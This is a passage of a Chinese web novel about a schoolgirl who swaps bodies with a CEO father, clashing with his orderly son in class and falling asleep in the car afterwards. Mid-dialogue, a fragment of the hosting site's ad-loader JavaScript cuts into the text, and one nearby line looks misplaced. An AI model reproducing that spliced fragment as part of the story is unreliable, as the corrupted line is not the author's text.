节奏抑扬顿挫间,熬夜的疲惫消散许多。 阮陨星背完一个小节,抓紧时间吸了两口咖啡。 她余光瞟到旁边的裴彰,对方正用一种看智障的表情看她。 “你不背?”阮陨星问完,揶揄道:“哦,家教老师带你背够了吧?” 裴彰瞪她一眼,埋头看书。 阮陨星看他吃了瘪却没反击,很稀奇地道:“你今天这么老实啊?” 裴彰还是不说话。 阮陨星估摸着是自己和他爹互换让这家伙产生ptsd了,想想,隔一天就要面对同龄女同学却是板着脸的亲爹这个情况,正常人多少会觉得怪怪的,避而远之。 在阮陨星看来,这就是退让,这就是裴彰的软处。 正好班主任巡查早读,阮陨星举起书以正常声调装模作样地读了一会儿,然后等老班经过的时候举起书汇报道:“老师,裴彰不早读。” “裴彰每次默写都不丢分,你自己好好背,别老去管人家。”班主任显然知道阮陨星是个什么尿性,板着脸道。 “哦。”阮陨星撇嘴。 她就知道班主任偏袒裴彰,告状不成才安分下来。 早读后两节语文连堂,阮陨星最怕就是语文,还是最让人发困的试卷讲解,她吸了一杯咖啡,然后扭头对旁边的裴彰道:“要是发现我犯困,一定要提醒我。” 裴彰头也不抬。 阮陨星用手肘撞了一下他。 “听见没啊?” 裴彰手上的字迹歪掉,他不满地看了一眼阮陨星。 阮陨星威胁:“你应该不想让你爸在开会的时候变成我吧?” “知道了。”裴彰这才懒懒地答道。 阮陨星得到承诺,这才放心地把试卷拿出来。 以前遇到连堂语文,她一般放任自己打瞌睡,现下必须保持清醒,阮陨星只好偷偷摸摸地拿小说出来,垫在试卷下面看。 边看边啧啧称奇,裴彰这边,自主订正完试卷后,拿出其他练习册开写,结果发现阮陨星试卷上一个字没动,再一看竟然是在看小说。 边看嘴巴里面还吃着什么东西,大概是看到好笑的地方,咬着嘴唇埋头憋笑,一副吊儿郎当的姿态。 裴彰心头突然冒了一股火,他说不清那股火哪里来的。 ——大概是愤怒于阮陨星的那股子轻松惬意。 ——又或者是讨厌自己差一截的资质。 裴彰诧异于这股火气的突然生发,他下意识觉得这样不好。 这样不好,他心里对自己说了好几遍,然后慢慢把它按了下去。 阮陨星看到一个特别好笑的情节,憋不住笑了出来。 正好语文老师讲解完一道阅读题,话音落下,于是她的这声笑在安静的课堂上显得尤其明显。 语文老师从讲台上抬眼一看,就看见了表情来不及收回的阮陨星。 他敲了一下黑板擦,严肃道:“有些同学不想听可以自己做自己的事情,不要影响到其他同学。” 阮陨星把头埋了下去。 实在是因为太好笑了,那个情节跟之前的情节联系起来,形成一种荒诞不经的,荒谬无常的好笑感,偏偏戳中了阮陨星的笑点。 她埋头在桌子上,肩膀一耸一耸,笑得喘不过气。 又要控制动作,又要控制声音,可把她给难坏了。 好不容易阮陨星才平息那股滑稽的感觉。 他抬眼,正好看到前面的同学的互动。 联想到小说里的描写,顿时忍不住。 “噗——!”她鼻子里哼出好大一声声音。 阮陨星察觉不好,但是已经晚了。 语文老师脸带怒意地猛然转身,他正好走到阮陨星所在组的走道后端,转过来后和阮陨星目光对上。 “阮陨星!” 语文老师怒道。 “在的在的。”阮陨星从善如流,站起来准备接受批评。 “不想听可以出去,为什么故意扰乱课堂秩序?” 语文老师道,他是一个皮肤略白皙,带着斯文眼镜的中年男人,平常讲究斯文礼数,奈何阮陨星大大咧咧,屡次犯禁,叛逆而死不悔改,因此差不多算是他最讨厌的学生那一批。 所以现在看到她搞小动作,便不客气地批评道。 “呃老师,不是故意的,看到自己写的试卷,错得太离谱,就笑出来了。”阮陨星起身,张口就来。 裴彰简直不可置信,这人为什么能那么厚脸皮,那么丝滑。 语文老师知道她的尿性,不信,走过去,一掀试卷。 发现她下面垫的是另外的练习册。 阮陨星嘿嘿一笑。 语文老师不信邪地往抽屉又瞄了一眼。 还是没看到什么。 他不甘心地道:“不要扰乱课堂。” “其实老师你要是不说现在都没事了。”阮陨星顺嘴道。 语文老师闻言,气得不行:“还是我的错了?” “呃倒也没有。”阮陨星看他还要再发难,连忙就坡下驴:“我抄答案抄答案。” “抄你的去。”他觉得每次遇到这学生搞事情自己都会破功,实在是那张嘴巴太刁钻。 等语文老师走远以后,阮陨星很流畅的伸手到裴彰抽屉里,拿出刚才看的小说。 裴彰脸黑得跟锅底一样:“你把书藏我抽屉干嘛?” “还用问,躲避检查 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”阮陨星理直气壮。 “你怎么好意思?”裴彰其实接触她不多,但是没想到近距离接触下来,这人比想象中更——更没有秩序。 他一贯是习惯了有秩序的生活,陡然面对阮陨星这种人,下意识就觉得不喜欢。 阮陨星却才不管他难不难受,她道:“我和你爸一体的,跟你自然也是一根绳子上的蚂蚱,帮帮怎么了?借你地方藏本书而已,又不是藏尸。” “你……”裴彰一时失态拔高声音,随后及时止住。 他狠狠瞪了一眼阮陨星。 阮陨星早已经翻开小说看了起来。 她说:“不是我说,本来我今天换过去,也是这么悠闲的,这是我应得的。” “强词夺理。”裴彰拽过自己的试卷,不想再跟她掰扯。 阮陨星老老实实地看了两节课的课外书。 熬过了最熬人的连堂语文课,课间她跑去洗手间洗了把脸。 那股子若有若无的困劲没了,后面的课都是理科的课程,阮陨星一贯喜欢钻研逻辑,思维沿着无形的推导链遨游,也就不觉得困。 中午放学,约了雀宝去新开的冷锅串串店吃,不得不说学校附近的物价就是便宜,而且这家居然很正宗,食材十分新鲜,阮陨星和李雀影敞开肚皮吃了个饱。 下午靠着咖啡浑水摸鱼混了过去。 放学铃响,阮陨星和裴彰跟着大部队往外走,裴彰走着走着加快脚步,把阮陨星甩开了。 她也不急,慢悠悠地走着,顺手在路边小摊买小吃。 走出一百米左右的距离,人流没有校门口那么拥挤,阮陨星捧着小吃左顾右盼,接着很容易在一众普通型号轿车中认出了霸总的加长豪车。 是的霸总说开完了会来接两个人,所以平常接裴彰上下学的车就没来,阮陨星估摸着霸总是来问问自己今天的心得。 此时车窗紧闭,看不见里面的人,她靠近后,司机下了车,给她拉开车门。 她一看,霸总好整以暇地坐在外围的位置,裴彰看不见,估计到后面的位置去了。 她走过去,护着自己的小吃,小心翼翼地上了车。 然后司机关上了门。 那个时刻,阮陨星看到了好几个熟悉的面孔,都是同一层楼的同学,其中不乏同班的,带着探究的意味看着她上了霸总的车。 阮陨星本来寻思着打个招呼,结果司机没给她机会。 霸总把司机室隔开,靠在座位上,享受着座位上的按摩,然后——然后打了个哈欠。 哈欠这个事是会传染的,阮陨星也忍不住打了一个大大的哈欠。 浓浓的睡意涌上来。 霸总起身,竭力让自己保持清醒。 “所以可以通过延迟睡眠时间来推迟交换。”他一句话总结完毕。 阮陨星:“对。” “但……最迟能推到什么时候,我们还需要实验。” 霸总慢慢道,声音满是疲倦。 阮陨星觉得眼皮沉重得跟灌了铅一眼。 “我觉得……现在就是极限了……老板,你今天喝咖啡了没……” “当然……” 两人声音一个赛一个缓慢,阮陨星迷迷糊糊听见耳边有一个清脆的响声,扭头看去,裴彰伸手来打了个响指。 可是那个声音很模糊,她像是浸泡在水里,听到的声音都拉得很远,还觉得自己意识漂浮在一个暖池子里,很舒服,很想睡觉。 “撑不住了,老板记得今天的工资……”撑着提醒霸总最后一句,她放任自己合上了眼睛。